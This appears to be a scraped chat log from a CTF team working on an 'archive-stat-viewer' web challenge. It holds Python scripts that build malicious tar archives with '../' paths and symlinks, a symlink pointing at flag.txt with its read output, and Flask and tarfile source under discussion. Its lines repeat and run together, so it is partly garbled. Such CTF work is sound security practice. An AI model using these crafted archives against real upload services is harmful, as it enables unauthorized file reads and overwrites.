http://archive-stat-viewer.chal.crewc.tf:8081/
Files:Tags: No tags../ maybe? need to build it locally to checkapp.config['MAX_CONTENT_LENGTH'] = 1024 * 128web/archive_stat_viewer was still the old version, so I updated it to the new version. Sorry for all inconvenience.
> RUN mkdir -p ./archives && chmod a+rw ./archives he added thislrwxrwxrwx 1 user user 42 Jul 8 18:11 lol -> ../../../../../../../web-apps/src/flag.txt
root@132798a72f37:/web-apps/src/archives/c5edbd4a-a443-4168-a753-646496c05179/files# cat lol
dummy{dummy}`@app.get('/results/<archive_id>')
def download_result(archive_id):
if 'archives' not in session:
session['archives'] = []
archive_id = Path(archive_id).name
return send_file(UPLOAD_DIR / archive_id / 'result.json')archive_id = Path(archive_id).name
return send_file(UPLOAD_DIR / archive_id / 'result.json')
to return smth from upload_dir/folder1/folder2/result.jsonarchive_id = Path(archive_id).name
return send_file(UPLOAD_DIR / archive_id / 'result.json')
to return smth from upload_dir/folder1/folder2/result.json archive_id = Path(archive_id).name
this is secure i think? else we could traversearchive_id = Path(archive_id).name
this is secure i think? else we could traverse import tarfile
archive_path = 'large_archive.tar'
extract_folder = 'extracted_files'
with tarfile.open(archive_path, 'w') as archive:
for i in range(250):
file_name = f'file_{i}.txt'
content = f'This is file {i}'
nested_folder = '/'.join(['nested'] * 2)
archive.addfile(tarfile.TarInfo(name=f'{nested_folder}/{file_name}'), content.encode())
filename = '../result.json'
archive.addfile(tarfile.TarInfo(name=filename))import tarfile
archive_path = 'large_archive.tar'
extract_folder = 'extracted_files'
with tarfile.open(archive_path, 'w') as archive:
for i in range(250):
file_name = f'file_{i}.txt'
content = f'This is file {i}'
nested_folder = '/'.join(['nested'] * 2)
archive.addfile(tarfile.TarInfo(name=f'{nested_folder}/{file_name}'), content.encode())
filename = '../result.json'
archive.addfile(tarfile.TarInfo(name=filename)) lrwxrwxrwx 1 user user 42 Jul 8 18:11 lol -> ../../../../../../../web-apps/src/flag.txt
root@132798a72f37:/web-apps/src/archives/c5edbd4a-a443-4168-a753-646496c05179/files# cat lol
dummy{dummy}` def extractall(self, path=".", members=None, *, numeric_owner=False,
filter=None):
"""Extract all members from the archive to the current working
directory and set owner, modification time and permissions on
directories afterwards. `path' specifies a different directory
to extract to. `members' is optional and must be a subset of the
list returned by getmembers(). If `numeric_owner` is True, only
the numbers for user/group names are used and not the names.
The `filter` function will be called on each member just
before extraction.
It can return a changed TarInfo or None to skip the member.
String names of common filters are accepted.
"""
directories = []
filter_function = self._get_filter_function(filter)
if members is None:
members = self
for member in members:
tarinfo = self._get_extract_tarinfo(member, filter_function, path)
if tarinfo is None:
continue
if tarinfo.isdir():
# For directories, delay setting attributes until later,
# since permissions can interfere with extraction and
# extracting contents can reset mtime.
directories.append(tarinfo)
self._extract_one(tarinfo, path, set_attrs=not tarinfo.isdir(),
numeric_owner=numeric_owner)
# Reverse sort directories.
directories.sort(key=lambda a: a.name, reverse=True)
# Set correct owner, mtime and filemode on directories.
for tarinfo in directories:
dirpath = os.path.join(path, tarinfo.name)
try:
self.chown(tarinfo, dirpath, numeric_owner=numeric_owner)
self.utime(tarinfo, dirpath)
self.chmod(tarinfo, dirpath)
except ExtractError as e:
self._handle_nonfatal_error(e)import sys, zipfile, tarfile, os, optparse
def e(a):
with tarfile.open(a) as archive:
for m in archive.getmembers():
print(m.name)
tf = tarfile.open("out.tar", "w")
l = tarfile.TarInfo("x")
l.linkname = "../re"
# tf.addfile(l, open("x", "r"))
tf.add("x", "symdir")
tf.add("flag.txt", "symdir/result.json")
# tf.add("old.tar", "old.tar")
# tf.add("test")
tf.close()
e("out.tar") (edited)